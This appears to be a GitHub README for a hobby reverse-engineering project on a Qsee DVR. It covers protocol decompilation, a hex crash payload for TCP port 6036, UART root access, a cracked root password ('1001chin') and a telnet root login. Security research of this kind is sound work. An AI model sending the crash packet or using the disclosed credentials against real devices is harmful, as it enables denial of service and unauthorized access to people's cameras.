Skip to content

thewb/qsee

Repository files navigation

Introduction

The Qsee QT5682 is a security camera DVR system that can support up to eight cameras. The DVR software listens on TCP port 6036, and thick clients for major operating systems can be downloaded from a web server hosted on the device.

This project started with reverse-engineering functions in the Objective-C (MacOS) client binary, which are used to marshal data from XML into the custom communication protocol over TCP port 6036.

A valid protocol message, reverse-engineered from the marshaling code, was bit-flipped and transmitted until it caused the DVR system to crash and reboot.

To further explore the cause of the crash, a shell on the DVR or dumping the firmware is required. An Nmap scan showed the DVR has a listening Telnet service, but the login credentials (username: admin, password: 123456) were rejected. This appears to be out-of-band management and is not mentioned in the device documentation.

After opening the case, clearly marked UART through-holes were discovered. Connecting to the UART using a GreatFet provided access to a U-Boot shell. The device was rebooted in single-user mode using an environment variable, which granted a root shell. The root password is stored in the /etc/passwd file. John the Ripper was used to crack the password, which is 1001chin.

The device has a tftp binary installed and it will be used to retreive server code to investigate the crash to see if it can be escalated from DoS to RCE.

Marshalling Code

The code below takes XML from the Objective C application and marshals it into a proprietary wire protocol.

 ChildElement = (TiXmlNode *)TiXmlNode::FirstChildElement(a2);
  command = (TiXmlElement *)TiXmlNode::FirstChildElement(ChildElement, "command");
  username = (char *)CXmlParser::GetChildNodeValue(this, command, "name", "username");
  password = (char *)CXmlParser::GetChildNodeValue(this, command, "name", "userpwd");
  mac = (const char *)CXmlParser::GetChildNodeValue(this, command, "name", "client_mac");
  hostname = (char *)CXmlParser::GetChildNodeValue(this, command, "name", "client_hostname");
  if ( username && password )
  {
    v11 = (TiXmlElement *)strlen(username);
    strncpy((char *)(data_buffer + 24), username, (size_t)v11);
    *((_BYTE *)v11 + data_buffer + 24) = 0;
    commanda = (TiXmlElement *)strlen(hostname);
    strncpy((char *)(data_buffer + 96), hostname, (size_t)commanda);
    *((_BYTE *)commanda + data_buffer + 96) = 0;
    strcpy((char *)(data_buffer + 60), password);
    *(_DWORD *)(data_buffer + 16) = 3;
    *(_DWORD *)(data_buffer + 132) = 4;
    mac_addr_char = 0;
    counter = -6;
    do
    {
      sscanf(mac, "%x", &mac_addr_char);
      *(_BYTE *)(data_buffer + counter + 130) = mac_addr_char;
      mac = strchr(mac, '-') + 1;
      result = 0;
      ++counter;

Message Causes a Crash

The Python code below shows the packet payload that causes a crash.

crash =bytes.fromhex(
    "31 31 31 31 88 00 00 03 "
    "00 00 00 00 78 00 00 00 "
    "03 00 00 00 00 00 00 00 "
    "61 64 6D 69 6E 00 00 00 "
    "00 00 00 00 00 00 00 00 "
    "00 00 00 00 00 00 00 00 "
    "31 32 33 34 35 36 00 00 "
    "00 00 00 00 00 00 00 00 "
    "31 39 32 2E 31 36 38 2E "
    "31 2E 31 35 30 00 00 00 "
    "00 00 00 00 00 00 00 00 "
    "00 00 00 00 00 00 00 00 "
    "01 23 45 67 89 AB 00 00 "
    "00 00 00 00 00 00 00 00 "
    "00 00 00 00 00 00 00 00"
)

Nmap Results

The nmap results below show the listening Telnet service.

vagrant@bookworm:~$ sudo nmap -sS -Pn -sV -O -T4 -F 192.168.1.36
Starting Nmap 7.93 ( https://nmap.org ) at 2024-12-20 18:54 UTC
Nmap scan report for 192.168.1.36
Host is up (0.059s latency).
Not shown: 99 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
23/tcp open  telnet  security DVR telnetd (many brands)
Device type: general purpose|bridge|switch|media device|printer
Running (JUST GUESSING): QEMU (98%), Oracle Virtualbox (96%), Bay Networks embedded (90%), Sling embedded (89%), Dell embedded (88%), Wind River VxWorks (88%), Allied Telesyn embedded (88%)
OS CPE: cpe:/a:qemu:qemu cpe:/o:oracle:virtualbox cpe:/h:baynetworks:baystack_450 cpe:/h:slingmedia:slingbox_av cpe:/h:dell:1815dn cpe:/o:windriver:vxworks cpe:/h:alliedtelesyn:at-9006
Aggressive OS guesses: QEMU user mode network gateway (98%), Oracle Virtualbox (96%), Bay Networks BayStack 450 switch (software version 3.1.0.22) (90%), Slingmedia Slingbox AV TV over IP gateway (89%), Dell 1815dn printer (88%), VxWorks (88%), Allied Telesyn AT-9006SX/SC switch (88%)
No exact OS matches for host (test conditions non-ideal).

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.46 seconds

Boot Messages

Boot messages show an out of date kernel. Linux kernel 3.0.8 loads linux-gate.so.1 at the same base address providing a way to bypass ASLR and provides a rich source of ROP gadgets--needed for ARM exploitation.

greatfet uart  --wait -P none -N 115200
## Booting kernel from Legacy Image at 82000000 ...
   Image Name:   Linux-3.0.8
   Image Type:   ARM Linux Kernel Image (uncompressed)
   Data Size:    2285288 Bytes = 2.2 MiB
   Load Address: 80008000
   Entry Point:  80008000
   Loading Kernel Image ... OK
CPU: ARMv7 Processor [414fc091] revision 1 (ARMv7), cr=10c53c7f
Virtual kernel memory layout:
    vector  : 0xffff0000 - 0xffff1000   (   4 kB)
    fixmap  : 0xfff00000 - 0xfffe0000   ( 896 kB)
    DMA     : 0xffc00000 - 0xffe00000   (   2 MB)
    vmalloc : 0xc8800000 - 0xfe000000   ( 856 MB)
    lowmem  : 0xc0000000 - 0xc8000000   ( 128 MB)
    modules : 0xbf000000 - 0xc0000000   (  16 MB)
      .init : 0xc0008000 - 0xc0029000   ( 132 kB)
      .text : 0xc0029000 - 0xc040f000   (3992 kB)
      .data : 0xc0410000 - 0xc042e200   ( 121 kB)
       .bss : 0xc042e224 - 0xc047bd80   ( 311 kB)
SLUB: Genslabs=13, HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
hisilicon # sf probe 0   
16384 KiB hi_sfc at 0:0 is now current device
hisilicon # printenv
bootdelay=1
baudrate=115200
ethaddr=00:00:23:34:45:66
ipaddr=192.168.1.10
serverip=192.168.1.2
netmask=255.255.254.0
bootfile="uImage"
bootcmd=sf probe 0;sf read 0x82000000 0x0C0000 0x240000;bootm 0x82000000
phyintfx=1
bootargs=mem=128M console=ttyAMA0,115200 root=/dev/mtdblock2 rootfstype=jffs2 mtdparts=hi_sfc:768K(boot),2304K(dva110000),13M(rootfs)
auversion0=51c3ccf8
auversion1=52142fdf
auversion2=52ac1cf8
stdin=serial
stdout=serial
stderr=serial
verify=n
jpeg_addr=0x80080000
jpeg_size=0x1397a
vobuf=0x8fd00000
ver=U-Boot 2010.06 (Jun 21 2013 - 11:47:10)

Environment size: 563/131068 bytes
hisilicon # 

Set to Boot Into Single User Mode

The follwing console output shows setting the system to boot into single-user mode.

setenv bootargs 'mem=128M console=ttyAMA0,115200 root=/dev/mtdblock2 rootfstype=jffs2 mtdparts=hi_sfc:768K(boot),2304K(dva110000),13M(rootfs) single'
hisilicon # saveenv
Saving Environment to SPI Flash...
Erasing SPI flash, offset 0x00040000 size 128K ...done
Writing to SPI flash, offset 0x00040000 size 128K ...done
hisilicon # 
hisilicon # reset
resetting ...
Welcome to HiLinux.
/ # 

Crack root Password

The following shows the /etc/passwd file contents and using John the Ripper to crack the credential.

/etc # cat passwd
root:hldf85ln3UUCA:0:0::/root:/bin/sh
/etc # 
vagrant@bookworm:~$ /snap/john-the-ripper/current/run/john ./pw 
Warning: detected hash type "descrypt", but the string is also recognized as "descrypt-opencl"
Use the "--format=descrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 256/256 AVX2])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
0g 0:00:00:00 DONE 1/3 (2024-12-20 00:02) 0g/s 67500p/s 67500c/s 67500C/s y[[u..Root1900
Proceeding with wordlist:/snap/john-the-ripper/current/run/password.lst
Enabling duplicate candidate password suppressor
0g 0:00:16:45 DONE 2/3 (2024-12-20 00:19) 0g/s 1463Kp/s 1463Kc/s 1463KC/s Jody3838..Vin14338
Warning: MaxLen = 13 is too large for the current hash type, reduced to 8
Proceeding with incremental:ASCII
Disabling duplicate candidate password suppressor
1001chin         (root)     
1g 0:00:23:30 DONE 3/3 (2024-12-20 00:26) 0.000709g/s 5138Kp/s 5138Kc/s 5138KC/s 19df4l39..1001cr0g
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
1001chin         (root)     

Login With Telnet

The following shell output shows interaction with the Telnet service with the cracked password.

vagrant@bookworm:~$ telnet 192.168.1.36
Trying 192.168.1.36...
Connected to 192.168.1.36.
Escape character is '^]'.

(none) login: root
Password: 
Welcome to HiLinux.
None of nfsroot found in cmdline.
~ # id
uid=0(root) gid=0(root) groups=0(root)
~ # 

Check Services

The following bash output shows listening services, ports, and image names. The interesting service is called td3520d and it listens on TCP/6036 among other ports.

/mnt/mtd # netstat -lnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:6036            0.0.0.0:*               LISTEN      848/td3520d
tcp        0      0 0.0.0.0:85              0.0.0.0:*               LISTEN      848/td3520d
tcp        0      0 :::23                   :::*                    LISTEN      837/telnetd
udp        0      0 0.0.0.0:23456           0.0.0.0:*                           848/td3520d
udp        0      0 0.0.0.0:9407            0.0.0.0:*                           848/td3520d
udp        0      0 0.0.0.0:2000            0.0.0.0:*                           848/td3520d
Active UNIX domain sockets (only servers)
Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path
/mnt/mtd # which td3520d
/mnt/mtd # ps | grep 848
  848 root       2:46 ./td3520d
 1024 root       0:00 grep 848
/mnt/mtd # 

Starts up the Services

The following script starts services on the host, all run as root. From this we can locate the DVR service binary to reverse engineer.

#!/bin/sh

echo 2048 > /proc/sys/vm/min_free_kbytes
echo 200 > /proc/sys/vm/vfs_cache_pressure

#..............
rm /nfsdir/modules -rf
mkdir -p /nfsdir/modules
cd /nfsdir/modules
cp /mnt/mtd/modules.tar.lzma ./
unlzma modules.tar.lzma
tar -xvf modules.tar
rm modules.tar
#..............
cd /nfsdir/modules/
sh /nfsdir/modules/load3520D -i

#..............
rm /nfsdir/modules -rf

#..............
rm /nfsdir/language -rf
mkdir /nfsdir/language
tar -xzvf /mnt/mtd/WebSites/language.tar.gz -C /nfsdir/language
rm /mnt/mtd/WebSites/language -rf
ln -s /nfsdir/language  /mnt/mtd/WebSites/

#....DVR........
rm /nfsdir/dvr/language -rf
mkdir -p /nfsdir/dvr/language
cd /nfsdir/dvr/language
cp /mnt/mtd/language.tar.lzma ./
unlzma language.tar.lzma
tar -xvf language.tar
rm language.tar
rm /mnt/mtd/language -rf
ln -s /nfsdir/dvr/language  /mnt/mtd/

#..............
mkdir -p /nfsdir/sbin
tar -zxvf /mnt/mtd/mkisofs.tar.gz -C /nfsdir/sbin/
ln -s /nfsdir/sbin/mkisofs  /mnt/mtd/mkisofs

rm /upgrade/ -rf
rm /mnt/mtd/preupgrade.sh
rm /mnt/mtd/productcheck

telnetd &

export mac=$(cat /etc/init.d/mac.dat)
ifconfig eth0 down
ifconfig eth0 hw ether $mac
ifconfig eth0 up

ifconfig lo up
route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0

mount -t usbfs none /proc/bus/usb

cd /mnt/mtd && ./XDVRStart.hisi ./td3520d &

About

Weekend reversing project of a DVR

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published